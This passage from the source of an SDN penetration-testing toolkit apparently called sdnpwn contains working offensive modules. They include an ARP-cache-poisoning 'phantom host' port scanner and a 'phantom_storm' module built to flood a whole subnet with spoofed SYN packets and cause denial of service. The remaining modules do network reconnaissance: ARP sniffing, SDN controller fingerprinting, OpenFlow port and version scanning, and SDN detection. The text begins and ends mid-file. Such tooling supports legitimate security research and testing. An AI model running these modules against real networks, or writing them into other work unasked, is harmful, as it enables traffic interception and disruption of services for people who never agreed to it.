None 152 | targetPort = None 153 | phantomIP = None 154 | phantomMAC = None 155 | 156 | if("--iface" in params): 157 | interface = params[params.index("--iface")+1] 158 | if("--target-ip" in params): 159 | targetIP = params[params.index("--target-ip")+1] 160 | if("--target-mac" in params): 161 | targetMAC = params[params.index("--target-mac")+1] 162 | if("--ports" in params): 163 | targetPort = params[params.index("--ports")+1] 164 | if("--phantom-ip" in params): 165 | phantomIP = params[params.index("--phantom-ip")+1] 166 | if("--phantom-mac" in params): 167 | phantomMAC = params[params.index("--phantom-mac")+1] 168 | 169 | 170 | if(interface == None or targetIP == None or targetPort == None or phantomIP == None): 171 | print(info()) 172 | print(usage()) 173 | return 174 | 175 | if(targetMAC == None): 176 | sdnpwn.message("Sending ARP request for target MAC", sdnpwn.NORMAL) 177 | targetMAC = sdnpwn.getTargetMacAddress(interface, targetIP) 178 | sdnpwn.message("Got target MAC: " + targetMAC, sdnpwn.NORMAL) 179 | 180 | if(phantomMAC == None): 181 | phantomMAC = sdnpwn.generateRandomMacAddress() 182 | sdnpwn.message("Generated Phantom host MAC: " + phantomMAC, sdnpwn.NORMAL) 183 | 184 | targetPorts = targetPort.split(",") 185 | 186 | sourcePort = getUniqueNum() 187 | tcpSeqNum = getUniqueNum() 188 | 189 | thisHostIP = sdnpwn.getIPAddress(interface) 190 | thisHostMAC = sdnpwn.getMacAddress(interface) 191 | 192 | if((thisHostIP == '0') or (thisHostMAC == '0')): 193 | sdnpwn.message("Invalid interface", sdnpwn.ERROR) 194 | exit(0) 195 | 196 | prepForScan(interface, targetIP, targetMAC, thisHostIP, thisHostMAC, phantomIP, phantomMAC) 197 | 198 | while(dpap.isPoisoningComplete() == False): 199 | sleep(2) 200 | sdnpwn.message("Waiting for poisoning to complete...", sdnpwn.NORMAL) 201 | 202 | sdnpwn.message("Starting port scan", sdnpwn.SUCCESS) 203 | 204 | for p in targetPorts: 205 | scan(interface, targetIP, targetMAC, thisHostIP, thisHostMAC, phantomIP, phantomMAC, p) 206 | 207 | sleep(2) 208 | sdnpwn.message("Finishing up...", sdnpwn.NORMAL) 209 | dpap.stopPoisoning() 210 | return 211 | -------------------------------------------------------------------------------- /modules/Attack/phantom_storm.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | import sys 3 | from time import sleep 4 | import netifaces 5 | from threading import Thread 6 | 7 | import modules.sdnpwn.sdnpwn_common as sdnpwn 8 | import modules.Attack.dp_arp_poison as dpap 9 | 10 | def info(): 11 | return "Leverages the DP ARP poisoning attack and Phantom Host Scan concepts to cause a large amount of network traffic, congesting the network and ultimately causing denial of service." 12 | 13 | def usage(): 14 | sdnpwn.addUsage("--iface", "Interface to use", True) 15 | sdnpwn.addUsage("--target", "Target network (e.g. 192.168.1.0/24)", True) 16 | sdnpwn.addUsage("--phantom-ip", "IP to give the Phantom Host", True) 17 | sdnpwn.addUsage("--phantom-mac", "MAC address to give the Phantom Host") 18 | sdnpwn.addUsage("--packets", "Number of packets to send during the attack", True) 19 | 20 | return sdnpwn.getUsage() 21 | 22 | def preparePacket(targetIP, targetMAC, targetPort, srcIP, srcMac, sourcePort): 23 | ether = Ether(src=srcMac, dst=targetMAC) 24 | ip = IP(src=srcIP, dst=targetIP) 25 | tcpSYN = TCP(sport=sourcePort, dport=int(targetPort), flags="S", seq=random.randint(35000, 60000)) 26 | pkt = ether/ip/tcpSYN 27 | return pkt 28 | 29 | def sendPacket(interface, pkt, count): 30 | for i in range(0,count): 31 | sendp(pkt,iface=interface) 32 | 33 | def run(params): 34 | conf.verb = 0 35 | 36 | interface = None 37 | target = None 38 | targetMAC = None 39 | phantomIP = None 40 | phantomMAC = None 41 | packetCount = 0 42 | 43 | targets = {} 44 | 45 | try: 46 | if("--iface" in params): 47 | interface = params[params.index("--iface")+1] 48 | if("--target" in params): 49 | target = params[params.index("--target")+1] 50 | if("--phantom-ip" in params): 51 | phantomIP = params[params.index("--phantom-ip")+1] 52 | if("--phantom-mac" in params): 53 | phantomMAC = params[params.index("--phantom-mac")+1] 54 | if("--packets" in params): 55 | packetCount = int(params[params.index("--packets")+1]) 56 | 57 | if(interface == None or target == None or packetCount == None or phantomIP == None): 58 | print(info()) 59 | print(usage()) 60 | return 61 | 62 | if("/" in target): 63 | sdnpwn.message("Building list of target hosts (may take a minute)", sdnpwn.NORMAL) 64 | targetNetSplit = target.split("/") 65 | targetNetHostBits = 32 - int(targetNetSplit[1]) 66 | targetNetAddress = targetNetSplit[0] 67 | noOfNetworkHosts = (2^targetNetHostBits)-2 68 | 69 | targetNetAddSplit = targetNetAddress.split(".") 70 | 71 | #TODO: Change this to support networks with a mask < 24 bits 72 | finalOctetVal = int(targetNetAddSplit[3]) 73 | netAddressTemplate = str(targetNetAddSplit[0]) + "." + str(targetNetAddSplit[1]) + "." + str(targetNetAddSplit[2]) + "." 74 | for i in range(finalOctetVal, noOfNetworkHosts): 75 | try: 76 | targets[netAddressTemplate + str(i)] = sdnpwn.getTargetMacAddress(interface, netAddressTemplate + str(i)) 77 | except: 78 | pass 79 | 80 | sdnpwn.message("Found " + str(len(targets)) + " targets in total", sdnpwn.NORMAL) 81 | 82 | else: 83 | targets[target] = sdnpwn.getTargetMacAddress(interface, target) 84 | 85 | except Exception as e: 86 | print(e) 87 | print(info()) 88 | print(usage()) 89 | return 90 | 91 | if(phantomMAC == None): 92 | phantomMAC = sdnpwn.generateRandomMacAddress() 93 | sdnpwn.message("Generated Phantom host MAC: " + phantomMAC, sdnpwn.NORMAL) 94 | 95 | thisHostIP = sdnpwn.getIPAddress(interface) 96 | thisHostMAC = sdnpwn.getMacAddress(interface) 97 | 98 | srcPort = random.randint(35000, 60000) 99 | dstPort = random.randint(35000, 60000) 100 | 101 | sdnpwn.message("Starting attack", sdnpwn.NORMAL) 102 | for t in targets: 103 | try: 104 | poisoningThread = Thread(target=dpap.arpCachePoison, args=(interface, t, targets[t], phantomIP, phantomMAC, thisHostIP, thisHostMAC, True, 2)).start() 105 | except Exception as e: 106 | sdnpwn.message("Issue starting poisoning thread", sdnpwn.ERROR) 107 | print(e) 108 | return 109 | 110 | while(dpap.isPoisoningComplete() == False): 111 | sleep(1) 112 | 113 | sdnpwn.message("Starting packet stream to " + t, sdnpwn.NORMAL) 114 | pkt = preparePacket(t, targets[t], dstPort, phantomIP, thisHostMAC, srcPort) 115 | sendPacket(interface, pkt, packetCount) 116 | sdnpwn.message("Finishing up...", sdnpwn.NORMAL) 117 | dpap.stopPoisoning() 118 | return 119 | 120 | 121 | -------------------------------------------------------------------------------- /modules/Reconnaissance/arpmon.py: -------------------------------------------------------------------------------- 1 | 2 | import modules.sdnpwn.sdnpwn_common as sdnpwn 3 | 4 | from scapy.all import sniff, ARP 5 | import sys 6 | import subprocess 7 | import errno 8 | import signal 9 | 10 | class packetHandler: 11 | 12 | mode = None #Modes = watch, map 13 | hostMacMap = {} 14 | hostList = None 15 | currentPacket=""; 16 | 17 | def __init__(self): 18 | currentPacket=""; 19 | 20 | def packetIn(self, pkt): 21 | currentPacket=pkt; 22 | 23 | if ARP in pkt: 24 | self.arpIn(pkt); 25 | 26 | def arpIn(self, pkt): 27 | arpTypes=['', 'who-is', 'is-at']; 28 | try: 29 | arpType=arpTypes[pkt.op]; 30 | except: 31 | arpType="Unknown"; 32 | 33 | srcIp=pkt.psrc 34 | srcMac=pkt.hwsrc 35 | dstIp=pkt.pdst 36 | 37 | if(self.mode == "watch"): 38 | #print("\n" ); 39 | if(arpType == "who-is"): 40 | print(f"From {srcIp} ({srcMac}) {arpType} to {dstIp}"); 41 | elif(arpType == "is-at"): 42 | print(f"{srcIp} {arpType} {srcMac} to {dstIp}"); 43 | 44 | elif(self.mode == "map"): 45 | if(str(dstIp) not in self.hostMacMap): 46 | self.hostMacMap[dstIp] = "?" 47 | if(str(srcIp) not in self.hostMacMap): 48 | self.hostMacMap[srcIp] = srcMac 49 | printHostMacMap(self.hostMacMap); 50 | else: 51 | if(self.hostMacMap[srcIp] != srcMac): 52 | self.hostMacMap[srcIp] = srcMac 53 | printHostMacMap(self.hostMacMap); 54 | 55 | def printHostMacMap(hostMacMap): 56 | subprocess.call("clear") 57 | print("IP\t\t\t\tMac"); 58 | for h in sorted(hostMacMap): 59 | print(f"{h}\t\t\t{hostMacMap[h]}"); 60 | 61 | def signal_handler(signal, frame): 62 | print("") 63 | sdnpwn.message("Stopping...", sdnpwn.NORMAL) 64 | exit(0) 65 | 66 | def info(): 67 | return "Monitors ARP requests and responses received at a particular interface. Watch mode simply print details of ARP traffic seen. Map mode will create a table of IPs mapped to MAC addresses based on sniffed ARP traffic." 68 | 69 | def usage(): 70 | 71 | sdnpwn.addUsage("-i | --iface", "Interface to use", True) 72 | sdnpwn.addUsage("-m | --mode", "Set mode ( watch or map ). Default: watch", False) 73 | 74 | return sdnpwn.getUsage() 75 | 76 | def run(params): 77 | 78 | intf = sdnpwn.getArg(["--iface", "-i"], params) 79 | if(sdnpwn.checkArg(["--mode", "-m"], params)): 80 | mode = sdnpwn.getArg(["--mode", "-m"], params) 81 | else: 82 | mode = "watch" 83 | 84 | if((mode != None) and (intf != None)): 85 | pktHandler = packetHandler(); 86 | pktHandler.mode = mode 87 | sdnpwn.message(f"Starting sniffer on interface {intf}\n", sdnpwn.NORMAL); 88 | signal.signal(signal.SIGINT, signal_handler) 89 | sniff(iface=intf, prn=pktHandler.packetIn) 90 | else: 91 | print(info()) 92 | print(usage()) 93 | 94 | 95 | -------------------------------------------------------------------------------- /modules/Reconnaissance/controller_detect.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | import signal 3 | import time 4 | from scipy import stats 5 | import http.client as httpc 6 | 7 | import modules.sdnpwn.sdnpwn_common as sdnpwn 8 | 9 | def signal_handler(signal, frame): 10 | #Handle Ctrl+C here 11 | print("") 12 | sdnpwn.message("Stopping...", sdnpwn.NORMAL) 13 | exit(0) 14 | 15 | def info(): 16 | return "Attempts to fingerprint the network controller." 17 | 18 | def usage(): 19 | 20 | sdnpwn.addUsage("-i | --iface", "Interface to use") 21 | sdnpwn.addUsage("-l | --lldp", "Determine controller based off LLDP traffic") 22 | sdnpwn.addUsage("-d | --dump-lldp", "Dump the contents of the LLDP message") 23 | sdnpwn.addUsage("-n | --ignore-content", "Do not detect controller based on LLDP content") 24 | sdnpwn.addUsage("-t | --target", "Determine controller based northbound interface") 25 | sdnpwn.addUsage("-p | --ports", "Set ports to scan when --target is specified.") 26 | sdnpwn.addUsage("-x | --proxy", "Define a proxy server to use when --target is specified.") 27 | sdnpwn.addUsage("-v | --verbose", "Show verbose output") 28 | 29 | return sdnpwn.getUsage() 30 | 31 | def lldpListen(interface, dumpLLDP, ignoreLLDPContent): 32 | sniff(iface=interface, prn=lldpListenerCallback(interface, dumpLLDP, ignoreLLDPContent), store=0, stop_filter=lldpStopFilter) 33 | 34 | def lldpListenerCallback(interface, dumpLLDP, ignoreLLDPContent): 35 | def packetHandler(pkt): 36 | global lldpTimeTrack 37 | lldpContents = {"ONOS": "ONOS Discovery"} 38 | #LLDP: 0x88cc, BDDP: 0x8942 39 | if(pkt.type == 0x88cc): 40 | lldpTime = int(round(time.time())) 41 | if(len(lldpTimeTrack) > 0): 42 | if(lldpTime == lldpTimeTrack[-1]): 43 | return #This is a simple way to try to detect duplicate LLDP messages being picked up by the sniffer. 44 | lldpTimeTrack.append(lldpTime) 45 | if(ignoreLLDPContent == False): 46 | for c in lldpContents: 47 | if(lldpContents[c] in str(pkt)): 48 | sdnpwn.printSuccess("LLDP contents matches " + c) 49 | exit(0) 50 | if(dumpLLDP == True): 51 | print(pkt) 52 | return packetHandler 53 | 54 | def lldpStopFilter(pkt): 55 | global lldpTimeTrack 56 | if(len(lldpTimeTrack) >= 6): 57 | return True 58 | else: 59 | return False 60 | 61 | def run(params): 62 | global lldpTimeTrack 63 | 64 | lldpTimeTrack = [] 65 | 66 | defaultGuiPorts = {"Floodlight & OpenDayLight": 8080, "OpenDayLight (DLUX Standalone)": 9000, "OpenDayLight (DLUX w/t Karaf) & ONOS": 8181} 67 | defaultGuiURLs = {"Floodlight": "/ui/index.html", "OpenDayLight (DLUX)": "/dlux/index.html", "OpenDayLight (Hydrogen)": "/index.html", "ONOS": "/onos/ui/login.html"} 68 | guiIdentifiers = {} 69 | ofdpIntervals = {"Floodlight": 15, "OpenDayLight (Lithium & Helium)": 5, "OpenDayLight (Hydrogen)": 300, "Pox?": 5, "Ryu?": 1, "Beacon": 15, "ONOS": 3} 70 | 71 | 72 | iface = None 73 | verbose = False 74 | dumpLLDP = False 75 | 76 | signal.signal(signal.SIGINT, signal_handler) #Assign the signal handler 77 | 78 | dumpLLDP = sdnpwn.checkArg(["--dump-lldp", "-d"], params) 79 | ignoreLLDPContent = sdnpwn.checkArg(["--ignore-content", "-n"], params) 80 | verbose = sdnpwn.checkArg(["--verbose", "-v"], params) 81 | 82 | if(sdnpwn.checkArg(["--lldp", "-l"], params)): 83 | #Test by observing LLDP traffic on an interface 84 | iface = sdnpwn.getArg(["--iface", "-i"], params) 85 | if(iface is None): 86 | sdnpwn.message("Please specify an interface with --iface option", sdnpwn.ERROR) 87 | return 88 | sdnpwn.message("Collecting 6 LLDP frames. This may take a few minutes...", sdnpwn.NORMAL) 89 | lldpListen(iface, dumpLLDP, ignoreLLDPContent) 90 | sdnpwn.message("Got all LLDP frames. Getting mean time between frames...", sdnpwn.NORMAL) 91 | timeBetweenMessages = [] 92 | timeBetweenMessages.append((lldpTimeTrack[1] - lldpTimeTrack[0])) 93 | timeBetweenMessages.append((lldpTimeTrack[3] - lldpTimeTrack[2])) 94 | timeBetweenMessages.append((lldpTimeTrack[5] - lldpTimeTrack[4])) 95 | 96 | meanTimeBetweenMessages = 0 97 | for i in timeBetweenMessages: 98 | meanTimeBetweenMessages += i 99 | meanTimeBetweenMessages = round((meanTimeBetweenMessages/len(timeBetweenMessages))) 100 | 101 | 102 | 103 | sdnpwn.message("Mean time between frames is: " + str(meanTimeBetweenMessages), sdnpwn.NORMAL) 104 | 105 | matches = 0 106 | for k in ofdpIntervals: 107 | if((meanTimeBetweenMessages < (ofdpIntervals[k] + (ofdpIntervals[k]/100*5))) and (meanTimeBetweenMessages > (ofdpIntervals[k] - (ofdpIntervals[k]/100*5)))): 108 | sdnpwn.message("Mean time matches " + k, sdnpwn.NORMAL) 109 | matches+=1 110 | if(matches == 0): 111 | sdnpwn.message("Could not determine controller from LLDP times.", sdnpwn.NORMAL) 112 | 113 | elif(sdnpwn.checkArg(["--target", "-t"], params)): 114 | #Test using a URL 115 | target = sdnpwn.getArg(["--target", "-t"], params) 116 | sdnpwn.message("Testing visibility of northbound interface on host " + str(target), sdnpwn.NORMAL) 117 | ports = sdnpwn.getArg(["--ports", "-p"], params) 118 | if(ports is None): 119 | ports = [] 120 | for p in defaultGuiPorts: 121 | ports.append(defaultGuiPorts[p]) 122 | else: 123 | ports = ports.split(",") 124 | 125 | sdnpwn.message("Enumerating ports...", sdnpwn.NORMAL) 126 | for p in ports: 127 | try: 128 | conn = httpc.HTTPConnection(target, int(p)) 129 | if(sdnpwn.checkArg(["--proxy", "-x"], params)): 130 | conn.setTunnel((sdnpwn.getArg(["--proxy", "-x"], params))) 131 | req = conn.request("GET", "/") 132 | sdnpwn.message("Made HTTP connection to " + str(target) + " on port " + str(p), sdnpwn.SUCCESS) 133 | for c in defaultGuiPorts: 134 | if(defaultGuiPorts[c] == p): 135 | sdnpwn.message("Port used by " + str(c) + " for GUI interface", sdnpwn.VERBOSE) 136 | sdnpwn.message("Testing GUI URLs for port " + str(p), sdnpwn.NORMAL) 137 | for u in defaultGuiURLs: 138 | try: 139 | conn = httpc.HTTPConnection(target, int(p)) 140 | conn.request("GET", defaultGuiURLs[u]) 141 | res = conn.getresponse() 142 | reqStatus = res.status 143 | if(reqStatus >= 200 and reqStatus < 400): 144 | sdnpwn.message("Got " + str(reqStatus) + " for " + defaultGuiURLs[u], sdnpwn.SUCCESS) 145 | sdnpwn.message("URL associated with " + u + " GUI interface", sdnpwn.VERBOSE) 146 | else: 147 | if(verbose == True): 148 | sdnpwn.message("Got " + str(reqStatus) + " for URL " + str(u), sdnpwn.VERBOSE) 149 | except Exception as e: 150 | if(verbose == True): 151 | sdnpwn.message("Error testing URL: " + str(e), sdnpwn.VERBOSE) 152 | print("") 153 | except Exception as e: 154 | if(verbose == True): 155 | sdnpwn.message("No connection to " + str(target) + " on port " + str(p), sdnpwn.VERBOSE) 156 | sdnpwn.message(str(e), sdnpwn.VERBOSE) 157 | else: 158 | sdnpwn.message("No detection method given. Exiting.", sdnpwn.WARNING) 159 | print(info()) 160 | print(usage()) 161 | return 162 | -------------------------------------------------------------------------------- /modules/Reconnaissance/detect_proxy_arp.py: -------------------------------------------------------------------------------- 1 | 2 | import signal 3 | from scapy.all import * 4 | 5 | import modules.sdnpwn.sdnpwn_common as sdnpwn 6 | 7 | def signal_handler(signal, frame): 8 | #Handle Ctrl+C here 9 | print("") 10 | sdnpwn.message("Stopping...", sdnpwn.NORMAL) 11 | return 12 | 13 | def info(): 14 | return "This module will check if an ARP proxy is running on the controller." 15 | 16 | def usage(): 17 | sdnpwn.addUsage(["-i", "--iface"], "Interface to use (Default eth0)", False) 18 | sdnpwn.addUsage(["-v", "--verbose"], "Enable verbose output", False) 19 | 20 | return sdnpwn.getUsage() 21 | 22 | def run(params): 23 | 24 | signal.signal(signal.SIGINT, signal_handler) # Assign the signal handler 25 | 26 | iface = sdnpwn.getArg(["-i", "--iface"], params, "eth0") 27 | verbose = sdnpwn.checkArg(["-v", "--verbose"], params) 28 | 29 | try: 30 | if(verbose): 31 | sdnpwn.printVerbose("Getting MAC and IP address for interface " + iface) 32 | 33 | ifaceIP = sdnpwn.getIPAddress(iface) 34 | ifaceMac = sdnpwn.getMacAddress(iface) 35 | 36 | if(ifaceMac == "0" or ifaceIP == "0"): 37 | sdnpwn.printError("Cannot get details for interface " + iface + " ") 38 | return 39 | 40 | if(verbose): 41 | sdnpwn.printVerbose("Making this host known in the network") 42 | 43 | sendp(Ether(src=ifaceMac, dst="FF:FF:FF:FF:FF:FF", type=0x0806)/ARP(op=ARP.is_at, psrc=ifaceIP, hwsrc=ifaceMac, pdst=ifaceIP)) # We just want the controller to know about this host 44 | 45 | sdnpwn.printNormal("Sending ARP request for this host...") 46 | 47 | resp = srp(Ether(src=ifaceMac, dst="FF:FF:FF:FF:FF:FF", type=0x0806)/ARP(op=ARP.who_has, pdst=ifaceIP), timeout=2) 48 | 49 | try: 50 | if(resp[0][ARP][0][1].psrc == ifaceIP): 51 | sdnpwn.printWarning("Proxy ARP is active") 52 | else: 53 | sdnpwn.printError("Got another address: " + resp[0][ARP][0][1].psrc) 54 | except: 55 | # This should only fail if there is no response or the response is not ARP. 56 | sdnpwn.printSuccess("Proxy ARP is not active") 57 | 58 | except Exception as e: 59 | print(e) 60 | 61 | -------------------------------------------------------------------------------- /modules/Reconnaissance/of_mon.py: -------------------------------------------------------------------------------- 1 | 2 | import signal 3 | from scapy.all import * 4 | import modules.sdnpwn.sdnpwn_common as sdnpwn 5 | import modules.sdnpwn.sdnpwn_of_helper as ofHelper 6 | 7 | from pyof.v0x01.common.header import Header, Type 8 | from pyof.v0x01.controller2switch.features_reply import FeaturesReply 9 | 10 | from pyof.v0x04.controller2switch.features_reply import FeaturesReply as FeaturesReplyNew 11 | from pyof.v0x04.controller2switch.packet_out import PacketOut 12 | from pyof.v0x04.controller2switch.flow_mod import FlowMod 13 | 14 | def signal_handler(signal, frame): 15 | #Handle Ctrl+C here 16 | print("") 17 | sdnpwn.message("Stopping...", sdnpwn.NORMAL) 18 | exit(0) 19 | 20 | def info(): 21 | return "Perform passive information gathering on an OpenFlow connection." 22 | 23 | def usage(): 24 | sdnpwn.addUsage(["-i", "--iface"], "Interface to listen on", False) 25 | sdnpwn.addUsage(["-r", "--read"], "PCAP file to read", False) 26 | 27 | return sdnpwn.getUsage() 28 | 29 | def printFeatureReplyDetails(ofFeatureReply): 30 | sdnpwn.message("Device Datapath ID: " + str(ofFeatureReply.datapath_id), sdnpwn.NORMAL) 31 | sdnpwn.message("Number of Buffers: " + str(ofFeatureReply.n_buffers), sdnpwn.NORMAL) 32 | sdnpwn.message("Number of Tables: " + str(ofFeatureReply.n_tables), sdnpwn.NORMAL) 33 | sdnpwn.message("Capabilities: " + bin(int(str(ofFeatureReply.capabilities))), sdnpwn.NORMAL) 34 | 35 | def handlePkt(pkt): 36 | if(TCP in pkt and len(pkt[TCP].payload) > 0): 37 | try: 38 | ofHeader = Header() 39 | ofHeader.unpack(bytes(pkt[TCP].payload)[:8]) 40 | 41 | print(f"[>] {pkt[IP].src}:{pkt[TCP].sport} -> ", end='') 42 | print(f"OFv{ofHeader.version}", end=' ') 43 | print(ofHeader.message_type, end=' -> ') 44 | print(f"{pkt[IP].dst}:{pkt[TCP].dport}") 45 | 46 | 47 | ofBody = "" 48 | try: 49 | 50 | ##TODO: Allow for detailed message information to be printed 51 | ofBody = bytes(pkt[TCP].payload)[:(ofHeader.length-8)] 52 | if((ofHeader.message_type & 0xFF) == 6): 53 | ofFeatureReply = FeaturesReplyNew() 54 | ofFeatureReply.unpack(ofBody) 55 | #sdnpwn.message("Device Datapath ID: " + str(ofFeatureReply.datapath_id), sdnpwn.NORMAL) 56 | printFeatureReplyDetails(ofFeatureReply) 57 | elif((ofHeader.message_type & 0xFF) == 13): 58 | pktOut = PacketOut() 59 | 60 | except Exception as e: 61 | print("Error: " + str(e)) 62 | 63 | except: 64 | #Not an OF message 65 | pass 66 | 67 | def run(params): 68 | 69 | signal.signal(signal.SIGINT, signal_handler) #Assign the signal handler 70 | 71 | if(sdnpwn.checkArg(["-i", "--iface"], params)): 72 | sniff(iface=sdnpwn.getArg(["-i", "--iface"], params), prn=handlePkt) 73 | elif(sdnpwn.checkArg(["-r", "--read"], params)): 74 | pcap = rdpcap(sdnpwn.getArg(["-r", "--read"], params)) 75 | for p in pcap: 76 | handlePkt(p) 77 | else: 78 | print(info()) 79 | print(sdnpwn.getUsage()) 80 | -------------------------------------------------------------------------------- /modules/Reconnaissance/of_scan.py: -------------------------------------------------------------------------------- 1 | 2 | import signal 3 | import socket 4 | from ipaddress import ip_network 5 | 6 | from pyof.v0x01.symmetric.hello import Hello as OFv1Hello 7 | from pyof.v0x01.common.header import Header as OFv1Header, Type as OFv1Type 8 | from pyof.v0x01.asynchronous.error_msg import HelloFailedCode, ErrorMsg as OFv1ErrorMsg, ErrorType as OFv1ErrorType 9 | 10 | import modules.sdnpwn.sdnpwn_common as sdnpwn 11 | import modules.sdnpwn.sdnpwn_of_helper as of 12 | 13 | def signal_handler(signal, frame): 14 | #Handle Ctrl+C here 15 | print("") 16 | sdnpwn.message("Stopping...", sdnpwn.NORMAL) 17 | exit(0) 18 | 19 | def info(): 20 | return "Scan a host for ports running OpenFlow and get a list of supported OpenFlow versions" 21 | 22 | def usage(): 23 | sdnpwn.addUsage(["--target", "-t"], "Set target IP or network (192.168.0.0/24)", True) 24 | sdnpwn.addUsage(["--port", "-p"], "Set ports to scan(e.g. 6633,6653 || 6000-7000)", True) 25 | sdnpwn.addUsage(["--socket-timeout", "-s"], "Set timeout for socket connections", False) 26 | 27 | return sdnpwn.getUsage() 28 | 29 | def getPorts(port): 30 | ports = [6633,6634,6653] 31 | if(port == None): 32 | sdnpwn.message("No ports given, using 6633,6634, and 6653.", sdnpwn.NORMAL) 33 | elif("," in port): 34 | ports = port.split(",") 35 | elif("-" in port): 36 | ports = [] 37 | for p in range(int(port.split("-")[0]), int(port.split("-")[1])+1): 38 | ports.append(p) 39 | else: 40 | ports.append(port) 41 | return ports 42 | 43 | def getSocket(ip, port, timeout=2): 44 | try: 45 | comm_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 46 | comm_sock.settimeout(timeout) 47 | comm_sock.connect((ip, int(port))) 48 | return comm_sock 49 | except Exception as e: 50 | #print(e) 51 | return None 52 | 53 | def getOFVersion(version): 54 | return { 55 | '1': "1.0 (OF_10)", 56 | '2': "1.1 (OF_11)", 57 | '3': "1.2 (OF_12)", 58 | '4': "1.3 (OF_13)", 59 | '5': "1.4 (OF_14)", 60 | '6': "1.5 (OF_15)" 61 | }[version] 62 | 63 | 64 | def enumerateVersions(target, port, timeout): 65 | supportedVersions = [] 66 | testVersions = [b'\x01', b'\x02', b'\x03', b'\x04', b'\x05', b'\x06'] #b'\x01\x00\x00\x08\x00\x00\x00\x05' 67 | try: 68 | for v in testVersions: 69 | sock = getSocket(target, port, float(timeout)) 70 | if(sock == None): 71 | return 72 | sock.send(v + b'\x00\x00\x08\x00\x00\x00\x05') 73 | resp = of.getResponse(sock) 74 | if(resp[0].message_type == OFv1Type.OFPT_HELLO): 75 | resp = of.getResponse(sock) 76 | if(resp[0].message_type == OFv1Type.OFPT_FEATURES_REQUEST): 77 | version = getOFVersion(str(resp[0].version)) 78 | supportedVersions.append(version) 79 | sock.close() 80 | except: 81 | pass 82 | return supportedVersions 83 | 84 | def prettyPrint(target, targetResults): 85 | print("\'" + "-"*100 + "\'") 86 | print(" IP Address: " + str(target)) 87 | for r in targetResults: 88 | if(len(r[1]) > 0): 89 | print(" Port: " + str(r[0])) 90 | print(" Openflow Versions: " + ", ".join(r[1])) 91 | print("\'" + "-"*100 + "\'") 92 | print("\n\n") 93 | 94 | def run(params): 95 | 96 | signal.signal(signal.SIGINT, signal_handler) #Assign the signal handler 97 | 98 | target = sdnpwn.getArg(["--target", "-t"], params) 99 | port = sdnpwn.getArg(["--port", "-p"], params) 100 | sockTimeout = sdnpwn.getArg(["--socket-timeout", "-s"], params, 2) 101 | of.verbose=False 102 | 103 | if(target == None): 104 | print(info()) 105 | print(usage()) 106 | return 107 | else: 108 | startIndex = 0 109 | endIndex = 1 110 | if("/" in target): 111 | targets = ip_network(target) 112 | startIndex = 1 113 | endIndex = targets.num_addresses-1 114 | else: 115 | targets = ip_network(str(target) + "/32") 116 | 117 | ports = getPorts(port) 118 | 119 | sdnpwn.printNormal("Starting scan") 120 | for host in range(startIndex, endIndex): 121 | targetHost = targets[host].exploded 122 | targetRes = [] 123 | for port in ports: 124 | try: 125 | versions = enumerateVersions(targetHost, port, sockTimeout) 126 | except: 127 | pass 128 | 129 | if(versions is not None): 130 | targetRes.append((port, versions)) 131 | if(len(targetRes) > 0): 132 | prettyPrint(targetHost, targetRes) 133 | 134 | sdnpwn.printSuccess("Finished") 135 | 136 | -------------------------------------------------------------------------------- /modules/Reconnaissance/sdn_detect.py: -------------------------------------------------------------------------------- 1 | 2 | import modules.sdnpwn.sdnpwn_common as sdnpwn 3 | from scapy.all import ARP,IP,ICMP, arping, conf, sr1 4 | import netifaces 5 | import time 6 | from scipy import stats,mean 7 | import signal 8 | 9 | conf.verb = 0 10 | 11 | def info(): 12 | return "Determines if a network is likely to be an SDN by observing Round-Trip Times (RTT) for traffic." 13 | 14 | def usage(): 15 | sdnpwn.addUsage("-m", "Protocol to use (ICMP | ARP) (Default ARP)") 16 | sdnpwn.addUsage("-t", "IP of local host to send traffic to (Defaults to default gateway)") 17 | sdnpwn.addUsage("-i", "Interval at which packets are sent (Default 1)") 18 | sdnpwn.addUsage("-c", "Number of packets to send. More packets means better detection accuracy.(Default 10)") 19 | sdnpwn.addUsage("-v", "Enable verbose output") 20 | 21 | return sdnpwn.getUsage() 22 | 23 | def signal_handler(signal, frame): 24 | #Handle Ctrl+C here 25 | print("") 26 | sdnpwn.message("Stopping...", sdnpwn.NORMAL) 27 | exit() 28 | 29 | def testForSDN(testMethod, dstIP, count, interval): 30 | global verbose 31 | rtt = [] 32 | sentMS = 0 33 | 34 | if(testMethod == "icmp"): 35 | sdnpwn.message("Testing with ICMP", sdnpwn.NORMAL) 36 | icmp = (IP(dst=dstIP)/ICMP()) 37 | for i in range(0,count): 38 | sentMS = int(round(time.time() * 1000)) 39 | resp = sr1(icmp) 40 | rtt.append((int(round(time.time() * 1000))) - sentMS) 41 | time.sleep(interval) 42 | 43 | elif(testMethod == "arp"): 44 | sdnpwn.message("Testing with ARP", sdnpwn.NORMAL) 45 | for i in range(0,count): 46 | sentMS = int(round(time.time() * 1000)) 47 | resp = arping(dstIP) 48 | rtt.append((int(round(time.time() * 1000))) - sentMS) 49 | time.sleep(interval) 50 | 51 | initValue = rtt[0] 52 | rtt.pop(0) 53 | #Perform T-Test to check if first latency value is significantly different from others in our sample 54 | res = stats.ttest_1samp(rtt, initValue) 55 | if(verbose == True): 56 | sdnpwn.message(f"Initial RTT: {initValue}", sdnpwn.VERBOSE) 57 | sdnpwn.message(f"RTTs for other traffic: {rtt}", sdnpwn.VERBOSE) 58 | sdnpwn.message(f"Calculated p-value for inital RTT is {res[1]}", sdnpwn.VERBOSE) 59 | if(all(i < initValue for i in rtt)): 60 | sdnpwn.message("Initial value is highest value observed", sdnpwn.VERBOSE) 61 | if(res[1] < .05 and all(i < initValue for i in rtt)): #If the p-value is less that 5% we can say that initValue is significant 62 | return True 63 | else: 64 | return False 65 | 66 | 67 | def run(params): 68 | global verbose 69 | 70 | signal.signal(signal.SIGINT, signal_handler) #Assign the signal handler 71 | 72 | verbose = False 73 | testMethod = "arp" 74 | dstIP = "" 75 | count = 10 76 | interval = 1 77 | 78 | if("-m" in params): 79 | testMethod = (params[params.index("-m")+1]).lower() 80 | if("-t" in params): 81 | dstIP = params[params.index("-t")+1] 82 | if("-i" in params): 83 | interval = float(params[params.index("-i")+1]) 84 | if("-c" in params): 85 | count = int(params[params.index("-c")+1]) 86 | if("-v" in params): 87 | verbose = True 88 | 89 | if(dstIP == ""): 90 | sdnpwn.message("No target given, using default gateway", sdnpwn.NORMAL) 91 | try: 92 | dstIP = 